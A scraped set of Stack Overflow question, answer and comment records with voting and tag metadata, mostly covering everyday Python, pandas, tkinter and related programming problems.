return self.find_element(by=By.XPATH, value=xpath) 366 367 def find_elements_by_xpath(self, xpath): c:\users\george\appdata\local\programs\python\python36-32\code\votos\lib\site-packages\selenium\webdriver\remote\webdriver.py in find_element(self, by, value) 841 return self.execute(Command.FIND_ELEMENT, { 842 'using': by, --&gt; 843 'value': value})…
type: Question
tagged with: phantomjs
tagged with: python
has answer: http://stackoverflow.com/a/47052726
possible better answer: http://stackoverflow.com/a/47052726

http://stackoverflow.com/q/47042652
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47043135
has answer: http://stackoverflow.com/a/47042801
has comment: http://stackoverflow.com/comment/81032424
has body: i have the following dictionary which contains dataframes as values, each always having the same number of columns (1) with the same title test = {'A': pd.DataFrame(np.random.randn(10), index=range(10),columns=['values']), 'B': pd.DataFrame(np.random.randn(6), index=range(6),columns=['values']), 'C': pd.DataFrame(np.random.randn(11), index=range(11),columns=['values'])} from this, i would like to create a single dataframe where the index values are the key values of the dictionary (so A,B,C) and the columns are the union of the current index values across all dictionaries (so in this case 0,1,2,3...10). the values of this dataframe would be the corresponding 'values' from the dataframe corresponding to each row, and where blank, NaN is there a handy way to do this?
has comment: http://stackoverflow.com/comment/81032345
tagged with: python
tagged with: dictionary
score: 2
type: AnsweredQuestion
has title: aggregating across a dictionary containing dataframes
answer count: 2
tagged with: pandas
upvote count: 3
possible better answer: http://stackoverflow.com/a/47043135
downvote count: 1
accepted answer: http://stackoverflow.com/a/47042801

http://stackoverflow.com/q/46982381
has comment: http://stackoverflow.com/comment/80914100
tagged with: python
has comment: http://stackoverflow.com/comment/80985648
favorite count: 0
accepted answer: http://stackoverflow.com/a/47019977
type: Question
tagged with: pre-signed-url
has comment: http://stackoverflow.com/comment/80914552
answer count: 1
downvote count: 0
upvote count: 1
score: 1
tagged with: boto3
tagged with: amazon-web-services
has body: I've a python script to generate a presigned url and validate it. This script works on my laptop but not on my colleague's laptop. The error message says to check the AWS secret access key and signing method. The AWS access/secret keys is valid and can be used for accessing other AWS APIs. How do I troubleshoot further? import requests import boto3 url = boto3.client('sts').generate_presigned_url( 'get_caller_identity', Params={}, ExpiresIn=300) r = requests.post(url) print r.status_code print r.text Error Response:- Sender <Code>SignatureDoesNotMatch The request signature we calculated does not match the signature you provided. Check your AWS Secret Access Key and signing method. Consult the service documentation for details.
has title: aws presigned url - validating presigned url gives SignatureDoesNotMatch error
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47019977

http://stackoverflow.com/comment/80933247
type: QuestionComment
comment on: http://stackoverflow.com/q/46993209
score: 0
has text: @JohnGordon Because in the future only field2 will be updating, field3 means initial value. Can you take a look on code in updated question? How can I solve it?
type: Comment

http://stackoverflow.com/q/46984970
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47002355
answer count: 1
has title: Does a ColumnDataSource change the row order when deriving from a DataFrame?
has answer: http://stackoverflow.com/a/47002355
tagged with: bokeh
favorite count: 0
type: Question
has body: I was hoping to rely on the order of the dataframe to sort by group size of various clusters of data such that the most populous levels of a classification appear early in the data frame and small rare populations appear at the end. The goal I'm pursuing is to ensure that my rare populations always appear on top in the z-order of my scatter plot. I experimented with a simple example of stacked circles and discovered that the z-order is not what I expected by their arrangement in the original dataframe I defined them as. Here's a minimal example to demonstrate with import pandas import numpy from bokeh.application.handlers import FunctionHandler from bokeh.application import Application from bokeh.models import ColumnDataSource, HoverTool from bokeh.plotting import figure from bokeh.server.server import Server def modify_doc(doc): df = pandas.DataFrame() theta = numpy.linspace( 0 , 2*numpy.pi , 20 ) colors = ['yellow' if (c % 2 == 0) else 'blue' for c in range(len(theta))] df['X'] = numpy.cos(theta) df['Y'] = numpy.sin(theta) source = ColumnDataSource(data=df) # does this change the order? plot = figure() plot.circle('X', 'Y', source=source, radius=0.22 , fill_alpha=1, color=colors) plot.add_tools( HoverTool( tooltips=[ ( '(x,y)', '$x,$y') , ( 'index' , "$index" ) ] ) ) doc.add_root(plot) bokeh_app = Application(FunctionHandler(modify_doc)) # Setting num_procs here means we can't touch the IOLoop before now, we must # let Server handle that. If you need to explicitly handle IOLoops then you # will need to use the lower level BaseServer class. server = Server({'/': bokeh_app}) server.start() if __name__ == '__main__': print('Opening Bokeh application on http://localhost:5006/') server.io_loop.add_callback(server.show, "/") server.io_loop.start() I'm finding two things confusing here, I expect the order to run counterclockwise with the discs in the first quadrant all beneath the subsequent disc. Instead I see discs on the top with the subsequent disc on the bottom. Suc…
upvote count: 1
tagged with: python
downvote count: 1

http://stackoverflow.com/a/51012690
upvote count: 2
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/46971307
has comment: http://stackoverflow.com/comment/132334469
type: Answer
has body: Unfortunately, your question does not describe what you want to achieve in a way that it could become useful to anyone with a similar problem. Indeed, you wanted to obtain a sorted merge for repeated merging keys. The logical way to proceed is add a sequence number to make the merging multiple key unique. Then what follows is a trivial merge. left['Order'] = left.groupby(['key1','key2']).cumcount() right['Order'] = right.groupby(['key1','key2']).cumcount() result = left.merge(right, how='left', on=['key1','key2','Order']).drop('Order',axis=1)

http://stackoverflow.com/q/46913088
favorite count: 0
has comment: http://stackoverflow.com/comment/80776819
has answer: http://stackoverflow.com/a/46915088
has comment: http://stackoverflow.com/comment/80775872
answer count: 3
tagged with: widget
has comment: http://stackoverflow.com/comment/80773255
has comment: http://stackoverflow.com/comment/80773699
has title: Tkinter issue with using wrap length on a Label widget organised within a grid
has comment: http://stackoverflow.com/comment/80773529
type: Question
has comment: http://stackoverflow.com/comment/80773869
score: 0
tagged with: tkinter
upvote count: 1
has body: So I have 2 rows dedicated to a messaged label widget to display any successful/unsuccessful messages to the user while they're using the tkinter GUI. Some of the messages are to long to fit within the column width, so I have used the wraplength feature for the Label widget to wrap the text to the next line. The issue that I'm having, is that because of this feature, it shifts the placements of the widgets underneath this widget, by 1 row for every new row it wraps the text onto. So I was wondering if there's any way to have the text wrap, without moving the lower widgets. How the message Label looks within the GUI with height = 1: How the message Label looks when it wrap's the text to a newline with height = 1: How the message Label looks within the GUI with height = 2: How the message Label looks when it wrap's the text to a newline with height = 1: I would like for the message Label in the 2nd image link to display the way it does, but keeping the vertical layout of the widgets as seen in the 1st image link. The following code is for defining the widgets: Choice_list = Listbox(window, selectmode=SINGLE, width = 17, height = 9, justify = CENTER) image = PhotoImage(file = 'Dummy_Logo.gif') Image_label = Label(window, image = image) extract = Button(window, text = "Archive News from Webpage", command = func1, width = 20) archive = Button(window, text = "Extract News from Archive", command = func2, width = 22) display = Button(window, text = "Display the News", command = func3, width = 14) Message_Widget = Label(window, text = '', fg = 'black', justify = CENTER, height = 2, wraplength = 300) Log_Event = Checkbutton(window, text = 'Log Event', variable = logState, command = logEvent) The following code is the grid alignment for the widgets: Image_label.grid(row = 1, column = 1) Choice_list.grid(row = 1, column = 2, rowspan = 9, sticky = W) Message_Widget.grid(row = 2, column = 1, rowspan = 2) Log_Event.grid(row = 12, column = 2) archive.grid(row = 13, column = 1, rows…
has answer: http://stackoverflow.com/a/46915132
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80773408
has comment: http://stackoverflow.com/comment/80776496
downvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/46913519
tagged with: tkinter-layout
has comment: http://stackoverflow.com/comment/80773835

http://stackoverflow.com/a/46966230
type: Answer
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/46966159
has body: You need to sort the letters of each word, not the words themselves: string = "car and day" " ".join(["".join(sorted(word)) for word in string.split()])

http://stackoverflow.com/comment/80951076
type: Comment
has text: It's not an exercise :) I'm trying to traverse a nearly-infinite directed network starting from a custom point (my root), and saving all the information of the nodes I analyse given a specific path. The path is a random walk starting from such a point. The size of the area covered is determined by the two parameters (the height of the area by max_depth, its width by max_split)
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47002158

http://stackoverflow.com/a/47054402
has comment: http://stackoverflow.com/comment/81056756
answers question: http://stackoverflow.com/q/47053931
has comment: http://stackoverflow.com/comment/81056821
score: 1
accepted answer of: http://stackoverflow.com/q/47053931
type: Answer
has body: I assume Python 2.7. So: "فروردین".encode('utf-8') # UnicodeDecodeError: 'ascii' codec can't decode byte 0xd9 in position 0: ordinal not in range(128) The problem is the fact that in Python 2.7 strings are bytes: print(repr("فروردین")) # '\xd9\x81\xd8\xb1\xd9\x88\xd8\xb1\xd8\xaf\xdb\x8c\xd9\x86' With the following code: "فروردین".encode('utf-8') you're trying to encode bytes which is logically incorrect because: ENCODING: unicode --&gt; bytes DECODING: bytes --&gt; unicode But Python doesn't throw smth like TypeError, because Python is smart. In such a case it tries first to decode the given bytes to unicode and then execute encoding specified by user. The problem is that Python does the described decoding with a default encoding which is ASCII in Python 2. Therefore the program terminates with the UnicodeDecodeError. The described decoding is similar to the: unicode("فروردین") # UnicodeDecodeError: 'ascii' codec can't decode byte 0xd9 in position 0: ordinal not in range(128) So, you shouldn't encode byte-string and you have to DECODE it in order to receive unicode: u = "فروردین".decode('utf-8') print(type(u)) # &lt;type 'unicode'&gt; Another way to get unicode is to use u-literal + encoding declaration: # coding: utf-8 u = u"فروردین" print(type(u)) # &lt;type 'unicode'&gt; print(u == "فروردین".decode('utf-8')) # True
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/tag/c
tags question: http://stackoverflow.com/q/47063996
tags question: http://stackoverflow.com/q/46953656
tags question: http://stackoverflow.com/q/47014224
tags question: http://stackoverflow.com/q/46910427
tag name: c
tags question: http://stackoverflow.com/q/46970773
type: Tag
tags question: http://stackoverflow.com/q/47025616
tags question: http://stackoverflow.com/q/47061578
tags question: http://stackoverflow.com/q/46934432

http://stackoverflow.com/comment/80975227
has text: I meant by the accepted one.I understood why you did astype there.The accepted answer of that post does seems to be lengthier
type: Comment
comment on: http://stackoverflow.com/a/47014328
type: AnswerComment
score: 1

http://stackoverflow.com/comment/80866340
type: QuestionComment
comment on: http://stackoverflow.com/q/46959437
score: 0
has text: @cᴏʟᴅsᴘᴇᴇᴅ Indeed! So it's a good thing that the bug's been fixed. ;)
type: Comment

http://stackoverflow.com/comment/80850273
score: 0
has text: You don't ya get the HREF with get.attribute
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46951433

http://stackoverflow.com/comment/101482633
type: AnswerComment
comment on: http://stackoverflow.com/a/57507185
has text: Welcome to SO! Please edit your answer and explain a bit the context, and why it is possible working. For more guidance, see https://stackoverflow.com/help/how-to-answer
score: 0
type: Comment

http://stackoverflow.com/a/46918104
has comment: http://stackoverflow.com/comment/80784076
type: Answer
accepted answer of: http://stackoverflow.com/q/46918010
has comment: http://stackoverflow.com/comment/80784178
has body: The second solution is not perfect either: def censor(text, word): a = "*" * len(word) nw = text.split(word) # no need for a loop here, one split catches all occurrences return a.join(nw) For your first attempt: def censor(text, word): # for c in text: # loops char by char # if c == word: # one character likely won't be your word # text.replace(c, "*" * len(c)) # does nothing, string is immutable return text.replace(word, "*" * len(word)) # simple!
answers question: http://stackoverflow.com/q/46918010
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/q/46998718
type: Question
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/46998873
has comment: http://stackoverflow.com/comment/80944202
has body: Is it possible to transfer definitions from one subroutine to another? I can't find a way to transfer dealthehand to playthegame without it saying "deckchoice is not defined" def dealthehand(): deck2=[123456789] deckchoice=random.choice(deck2) deckchoice2=random.choice(deck2) deckchoice3=random.choice(deck2) deckchoice4=random.choice(deck2) deckchoice5=random.choice(deck2) deckchoice6=random.choice(deck2) def playthegame(): dealthehand() print(deckchoice)
has comment: http://stackoverflow.com/comment/80944207
score: 0
answer count: 1
has title: python transfer subroutine definitions to another subroutine
has comment: http://stackoverflow.com/comment/80944514

http://stackoverflow.com/comment/80872084
score: 0
comment on: http://stackoverflow.com/a/46918818
type: Comment
has text: I added some suggested revisions, as well as offering a suggestion of where to go from there
type: AnswerComment

http://stackoverflow.com/comment/80952250
score: 0
has text: @alfasin: I agree with you. However, these points are received from a sensor. It may be true that some categories are none at the end.
type: QuestionComment
comment on: http://stackoverflow.com/q/47002598
type: Comment

http://stackoverflow.com/comment/80955781
has text: This question is too broad for Stack Overflow. It's basically asking us to do your assignment. I'm looking for evidence that you understand the assignment and that you understand basic Python syntax, and I'm not seeing it. So I don't feel confident that a Stack Overflow answer would be understood either. What I would do in your place would be to go through basic Python tutorials. They're a dime a dozen on the web. That's where you should start. I'm afraid there are no shortcuts here.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47004476

http://stackoverflow.com/q/47014260
type: Question
tagged with: pandas
has answer: http://stackoverflow.com/a/47014401
tagged with: datetime
has comment: http://stackoverflow.com/comment/80974750
has title: Pandas makes hours disappear when recasting column as pd.datetime
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/80974766
type: AnsweredQuestion
downvote count: 0
has body: Given the following data frame: Name Loc DateTime RecordId RST 0 SwingBridge (47.57, -122.35) 08/01/2016 12:00:00 AM 1854751 76.06 1 Roosevelt (47.69, -122.31) 08/01/2016 12:00:00 AM 1941744 2.26 which is read in from a csv file using filename='my.csv' df=pd.read_csv(filename, dtype={'Name': str, 'Loc': object, 'RecordId':int, 'RST': float}) If I read the dates using parse_date=['DateTime'] or recast them as df['DateTime'] = pd.to_datetime(df['DateTime']), why do the bloody hours disappear?? Name Loc DateTime RecordId RST 0 SwingBridge (47.57, -122.35) 08/01/2016 1854751 76.06 1 Roosevelt (47.69, -122.31) 08/01/2016 1941744 2.26
tagged with: python
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/47014401
has comment: http://stackoverflow.com/comment/80974919

http://stackoverflow.com/comment/80763319
type: Comment
has text: No, I have the file management down. I'm just trying to do what you showed me with a static list, not one determined by user input.
comment on: http://stackoverflow.com/a/46907848
score: 0
type: AnswerComment

http://stackoverflow.com/a/55179392
downvote count: 0
upvote count: 1
score: 1
has body: How to create the Allure reports in Robot Framework ? Initially, Download the Command line and UNzip the file and save the path of the bin folder in environment. Link : http://repo.maven.apache.org/maven2/io/qameta/allure/allure-commandline/2.8.0/allure-commandline-2.8.0.zip Unzip the above file then put it in the Environment folder. Then Pip install the below modules pip install allure-robotframework pip install robotframework-allurereport In robot file, Add the Library in Settings like, Example : Library AllureReportLibrary D:\eclipse\RobotFramework\results Then Use the Below commands to run the robot code. robot --listener allure_robotframework;D:\eclipse\RobotFramework\results Example.txt Finally, Generate the HTML file by, allure generate D:\eclipse\RobotFramework\results Note : Use the same path what you used in the previous command to generate the HTml.file. and Open in Mozhila FireFox. It wont be work in Chrome. I dont know exactly why. Regards, Vijay
answers question: http://stackoverflow.com/q/47031779
type: Answer

http://stackoverflow.com/comment/80927046
type: QuestionComment
has text: what about `[list1]` ?
comment on: http://stackoverflow.com/q/46990247
score: 1
type: Comment

http://stackoverflow.com/q/46919363
has body: What does this Python function definition mean? I don't recognize the syntax. It doesn't look like any function definition I have ever seen, with the colons, and the -> after the parenthesis. def new_block(self, proof: int, previous_hash: Optional[str]) -&gt; Dict[str, Any]: I saw this function definition here: https://github.com/dvf/blockchain/blob/master/blockchain.py
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/14379753
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80786155
score: 0
has comment: http://stackoverflow.com/comment/80786379
answer count: 0
has title: What does this Python function definition mean?
linked to: http://stackoverflow.com/q/14379753
upvote count: 1
downvote count: 1

http://stackoverflow.com/q/47037087
tagged with: pyspark
tagged with: python
has comment: http://stackoverflow.com/comment/81020731
score: 0
has body: I'm creating a function to read values from saved textfile using pyspark &amp; then I want to broadcast that variable. So I wrote following code def retrieveIndex(key): name=key+'.txt' z=sc.textFile(name) #rdd_index=sc.broadcast(z) return(z) z=retrieveIndex('country') rdd_b=sc.broadcast(z.collect) rdd_b.value[0] I'm getting following error message after running this code PicklingError: Can't pickle &lt;type 'instancemethod'&gt;: attribute lookup __builtin__.instancemethod failed Kindly suggest me what changes I need to do
has comment: http://stackoverflow.com/comment/81023152
has title: PicklingError in Broadcasting: Can't pickle <type 'instancemethod'>: attribute lookup __builtin__.instancemethod failed
has comment: http://stackoverflow.com/comment/81023532
type: Question
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/47037726
has comment: http://stackoverflow.com/comment/81022004
score: -2
upvote count: 1
has comment: http://stackoverflow.com/comment/81022002
has comment: http://stackoverflow.com/comment/81028389
has answer: http://stackoverflow.com/a/47037893
has comment: http://stackoverflow.com/comment/81022096
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81022027
has answer: http://stackoverflow.com/a/47038643
has comment: http://stackoverflow.com/comment/81022215
has comment: http://stackoverflow.com/comment/81022139
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/47037893
downvote count: 3
has title: Check if value of one key in json has another key
tagged with: python
has body: I'm trying to print my json content. I know how to print just keys and values but I want to have access to the objects within the keys too. This is my code: json_mini = json.loads('{"one" : {"testing" : 39, "this": 17}, "two" : "2", "three" : "3"}') for index, value in json_mini.items(): print index, value if value.items(): for ind2, val2 in value.items(): print ind2, val2 which gives me this error: AttributeError: 'unicode' object has no attribute 'items' How to iterate over it? So I can do some process on each separate key and value?
tagged with: python-2.x
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/47038643
answer count: 2

http://stackoverflow.com/comment/80855996
has text: Worked like a charm!
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46954061

http://stackoverflow.com/a/46931249
upvote count: 1
score: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/46931218
answers question: http://stackoverflow.com/q/46931218
has comment: http://stackoverflow.com/comment/80809863
downvote count: 0
has body: Use split with parameetr expand=True: ddf.columns = ddf.columns.str.split('\|\|', expand=True) print (ddf) a b b c d e 0 0.248756 0.163067 0.783643 0.808523 1 0.625628 0.604114 0.885702 0.759117 2 0.181105 0.150169 0.435679 0.385273 3 0.575710 0.146091 0.686593 0.468804 4 0.569999 0.645701 0.723341 0.680671 5 0.180917 0.118158 0.242734 0.008183 6 0.360068 0.146042 0.542723 0.857103 7 0.200212 0.134633 0.213594 0.973156 8 0.858330 0.533785 0.434459 0.187193 9 0.288276 0.627167 0.355706 0.729455 EDIT: np.random.seed(456) ddf = pd.DataFrame(data=np.random.rand(10,4),columns=['a||b||e','a||c','b||d','b||e']) ddf.columns = ddf.columns.str.split('\|\|', expand=True) print (ddf) a b b c d e e NaN NaN NaN 0 0.248756 0.163067 0.783643 0.808523 1 0.625628 0.604114 0.885702 0.759117 2 0.181105 0.150169 0.435679 0.385273 3 0.575710 0.146091 0.686593 0.468804 4 0.569999 0.645701 0.723341 0.680671 5 0.180917 0.118158 0.242734 0.008183 6 0.360068 0.146042 0.542723 0.857103 7 0.200212 0.134633 0.213594 0.973156 8 0.858330 0.533785 0.434459 0.187193 9 0.288276 0.627167 0.355706 0.729455 mux = ddf.columns.to_frame().dropna(axis=1).values.tolist() print (mux) [['a', 'b'], ['a', 'c'], ['b', 'd'], ['b', 'e']] ddf.columns = pd.MultiIndex.from_tuples(mux) print (ddf) a b b c d e 0 0.248756 0.163067 0.783643 0.808523 1 0.625628 0.604114 0.885702 0.759117 2 0.181105 0.150169 0.435679 0.385273 3 0.575710 0.146091 0.686593 0.468804 4 0.569999 0.645701 0.723341 0.680671 5 0.180917 0.118158 0.242734 0.008183 6 0.360068 0.146042 0.542723 0.857103 7 0.200212 0.134633 0.213594 0.973156 8 0.858330 0.533785 0.434459 0.187193 9 0.288276 0.627167 0.355706 0.729455
has comment: http://stackoverflow.com/comment/80809776
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80811001

http://stackoverflow.com/comment/80968613
type: Comment
has text: @DavidW Yes, unfortunately that question wasn't resolved. Tried: nuitka --recurse-all 123.py --recurse-to=urllib as well as reinstalling python 2 and 3. I'm right now testing it out on my laptop with no libaries installed and python 2 to see if it makes any difference
type: QuestionComment
comment on: http://stackoverflow.com/q/47007017
score: 0

http://stackoverflow.com/a/46989395
has comment: http://stackoverflow.com/comment/80925765
answers question: http://stackoverflow.com/q/46989359
has body: Attempt the import. Set flags based on success. try: import foo fooavailable = True except ImportError: fooavailable = False
type: Answer
accepted answer of: http://stackoverflow.com/q/46989359
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/46946697
tagged with: python
accepted answer: http://stackoverflow.com/a/46947020
has body: In my application, I am going to need a setup where every user has some derived/calculated information in the database. It should be maximum 100 different data sets with each around 100 rows (100x100) per user. These rows need to be refreshed around every three months. So, let's say with 10000 users if everybody uses all hundred places that would be 100M rows recreated every 3 months. As far as my knowledge the Postgre int field is 2147483647, that is 2100M+. So, am I going to run out of id/pk in around 5 years with this setup? Should I rethink my setup or is there a way around? I am using Python 2.7.6, PostgreSQL server is 9.3 and Django 1.8.
linked to: http://stackoverflow.com/q/12150973
has comment: http://stackoverflow.com/comment/80840695
has comment: http://stackoverflow.com/comment/80840849
has answer: http://stackoverflow.com/a/46947020
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/80840935
answer count: 1
has title: Django+PostgreSql: Can I run out of id/pk?
has comment: http://stackoverflow.com/comment/80840664
type: Question
has comment: http://stackoverflow.com/comment/80840949
tagged with: postgresql
tagged with: django

http://stackoverflow.com/a/47065183
has body: If you need something fast, np.bincount could be a good solution instead of a Pandas groupby. np.bincount(df.loc[df.b &gt; 20, 'a']) / np.bincount(df.a)) which returns array([ 1. , 0.33333333, 0.5 ]) Or if you wanted to transform the output back to a series, you could subsequently use np.take. pd.Series((np.bincount(df.loc[df.b &gt; 20, 'a']) / np.bincount(df.a)).take(df.a)) # 0 1.000000 # 1 1.000000 # 2 0.333333 # 3 0.333333 # 4 0.333333 # 5 0.500000 # 6 0.500000 # dtype: float64 In either case, this seems to be quite fast. Smaller case: provided dataset groupby approach from MaxU %timeit df.groupby('a')['b'].transform(lambda x: x.gt(20).mean()) 2.51 ms ± 65.2 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) np.bincount approach %timeit pd.Series((np.bincount(df.loc[df.b > 20, 'a']) / np.bincount(df.a)).take(df.a)) 271 µs ± 5.28 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each) Larger case: generated dataset df = pd.DataFrame({'a': np.random.randint(0, 10, 100000), 'b': np.random.randint(0, 100, 100000)}).sort_values('a') groupby approach from MaxU %timeit df.groupby('a')['b'].transform(lambda x: x.gt(20).mean()) 11.3 ms ± 40.2 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) np.bincount approach %timeit pd.Series((np.bincount(df.loc[df.b > 20, 'a']) / np.bincount(df.a)).take(df.a)) 1.56 ms ± 5.47 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each)
upvote count: 2
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47064468
type: Answer

http://stackoverflow.com/a/50478579
has body: there is something change in your file if you change to def rewind(f): f.seek(2) you cannot see first two letter of your input_file..in TERMINAL NOT IN ORIGINAL FILE
upvote count: 1
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/87970791
score: 0
answers question: http://stackoverflow.com/q/46931833

http://stackoverflow.com/a/47048671
has comment: http://stackoverflow.com/comment/81044464
has comment: http://stackoverflow.com/comment/81044517
has comment: http://stackoverflow.com/comment/81044608
accepted answer of: http://stackoverflow.com/q/47048513
type: Answer
has comment: http://stackoverflow.com/comment/81044544
answers question: http://stackoverflow.com/q/47048513
has comment: http://stackoverflow.com/comment/81044362
has comment: http://stackoverflow.com/comment/81044408
downvote count: 0
has body: Use strip() method to get rid of the newline char before splitting. For example, here is the method to extract the 'name'-part from the following string: s = '1. Michael \n' name = s.strip().split()[1] print(repr(name)) # 'Michael' =&gt; no extra spaces Let's say, I have the 'names.txt' file with the content: 1. Michael 2. Ben 3. Ken 4. David Then I can get the names from the file in this way: with open('names.txt') as f: names = [] for line in f.readlines(): line_elements = line.strip().split() if len(line_elements) &gt; 1: # checking for a line in different format name = line_elements[1] names.append(name) print(names) # ['Michael', 'Ben', 'Ken', 'David'] Note that it's preferable to work with files via with open() pattern.
upvote count: 1
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/80907018
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46974214
has text: I'm guessing that for a `n=5`, a tuple will look like `(0, [4,3,3,1,3])`. That is, row number and a list with values for each column. If so that is not suitable for sparse matrix construction (neither memory wise or speed).
score: 0

http://stackoverflow.com/comment/81012624
comment on: http://stackoverflow.com/q/47032604
score: 1
type: Comment
type: QuestionComment
has text: You just need a for loop. https://wiki.python.org/moin/ForLoop You really shouldn't need an example provided for that.

knapsack-problem
type: Tag
tags question: http://stackoverflow.com/q/46922168
tag name: knapsack-problem

http://stackoverflow.com/a/46955304
downvote count: 1
score: -1
has body: This fixes the INDENT ERROR import requests from bs4 import BeautifulSoup as BS url_list = [ 'Http://www.aurecongroup.com', 'Http://www.burrell.com.au', 'Http://www.dsdbi.vic.gov.au', 'Http://www.energyaustralia.com.au', 'Http://www.executiveboard.com', 'Http://www.mallesons.com', 'Https://www.minterellison.com', 'Http://www.mta.org.nz', 'Http://www.services.nsw.gov.au' ] try: for link in url_list: r = requests.get(link) r.encoding = 'utf-8' html_content = r.text soup = BS(html_content, 'lxml') df = soup.title.string print(df) except IOError: pass
has comment: http://stackoverflow.com/comment/80858399
upvote count: 0
answers question: http://stackoverflow.com/q/46955215
type: Answer
has comment: http://stackoverflow.com/comment/80857715
has comment: http://stackoverflow.com/comment/80857735

http://stackoverflow.com/comment/80975482
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47014224
score: 0
has text: I missed it apparently. How is IPV4 vs IPV6 determined? Is that in the parsing of the IP packet... the version field? IP, version = 4 vs IP, version = 6. Duh.

http://stackoverflow.com/a/47054851
accepted answer of: http://stackoverflow.com/q/47054795
answers question: http://stackoverflow.com/q/47054795
type: Answer
has comment: http://stackoverflow.com/comment/81056580
score: 4
has body: Convert to tuples and use pd.DataFrame/pd.DataFrame.from_records: pd.DataFrame.from_records(list(d.items()), columns=columnsd) one two 0 Product 1 1 one 1 2 Pricing 1 3 Rates 2
upvote count: 4
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81064833
downvote count: 0
has comment: http://stackoverflow.com/comment/81071469

http://stackoverflow.com/q/47027304
has title: KIVY: how to have same set of widgets on multiple screens
tagged with: android
tagged with: python
tagged with: kivy
type: Question
tagged with: python-3.x
tagged with: kivy-language
has body: I want to add same type of widgets on all of my screens. and when one any of those added widgets is clicked, it is deleted from all screens. this is the current approach def drinksSelect(self,value): # creating a button by referring the id of the layout in which to create button drinkImagePath = {'pepsi': 'drinksPictures/pepsi.png','7up': 'drinksPictures/7up.png'} if self.root.a_s.l &lt; self.root.a_s.limit: # You know what I mean st = 'number' img = myImage(source= drinkImagePath[value], size=(200,20), id=st) img2 = myImage(source=drinkImagePath[value], size=(200, 20), id='soo') self.root.a_s.ids.place_remaining.add_widget(img) self.root.m_s.ids.place.add_widget(img2) self.root.a_s.l += 1 I am deleteing the image using this class myImage (Image): def on_touch_down(self, touch): if self.collide_point(*touch.pos): self.parent.remove_widget(self) The problem with that is that it only deletes the image that was clicked and not the ones on other screens.
type: UnansweredQuestion
answer count: 1
score: 0
has answer: http://stackoverflow.com/a/47034165

http://stackoverflow.com/a/46905906
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
has body: IIRC, the parse method should use the yield keyword, while you're evaluating the Request inplace
answers question: http://stackoverflow.com/q/46905826
has comment: http://stackoverflow.com/comment/80763386
type: Answer
accepted answer of: http://stackoverflow.com/q/46905826

http://stackoverflow.com/a/46929702
downvote count: 0
answers question: http://stackoverflow.com/q/46929622
has body: You could refer to docs: class int(x=0) class int(x, base=10) Return an integer object constructed from a number or string x, or return 0 if no arguments are given. If x is a number, return x.__int__(). For floating point numbers, this truncates towards zero. If x is not a number or if base is given, then x must be a string, bytes, or bytearray instance representing an integer literal in radix base. Optionally, the literal can be preceded by + or - (with no space in between) and surrounded by whitespace. A base-n literal consists of the digits 0 to n-1, with a to z (or A to Z) having values 10 to 35. The default base is 10. The allowed values are 0 and 2–36. Base-2, -8, and -16 literals can be optionally prefixed with 0b/0B, 0o/0O, or 0x/0X, as with integer literals in code. Base 0 means to interpret exactly as a code literal, so that the actual base is 2, 8, 10, or 16, and so that int('010', 0) is not legal, while int('010') is, as well as int('010', 8). The integer type is described in Numeric Types — int, float, complex. (emphasis mine) Referring to docs teaches that in programming nothing is really arbitrary, and compilers/interpreters are simply following rules.
upvote count: 5
type: Answer
score: 5

python-3.x
tags question: http://stackoverflow.com/q/46906432
tags question: http://stackoverflow.com/q/47004291
tags question: http://stackoverflow.com/q/46920268
tags question: http://stackoverflow.com/q/46939378
tags question: http://stackoverflow.com/q/47012130
tags question: http://stackoverflow.com/q/46979218
tags question: http://stackoverflow.com/q/47049035
tags question: http://stackoverflow.com/q/46928093
tags question: http://stackoverflow.com/q/47017419
tags question: http://stackoverflow.com/q/46918562
tags question: http://stackoverflow.com/q/47064174
tags question: http://stackoverflow.com/q/46982280
tags question: http://stackoverflow.com/q/46956920
tags question: http://stackoverflow.com/q/46943618
tags question: http://stackoverflow.com/q/46976256
tags question: http://stackoverflow.com/q/46972630
tags question: http://stackoverflow.com/q/46910370
tags question: http://stackoverflow.com/q/46989532
tags question: http://stackoverflow.com/q/46987557
tags question: http://stackoverflow.com/q/47005696
tags question: http://stackoverflow.com/q/47038727
tags question: http://stackoverflow.com/q/46917960
tags question: http://stackoverflow.com/q/47013091
tags question: http://stackoverflow.com/q/46949850
tags question: http://stackoverflow.com/q/46993209
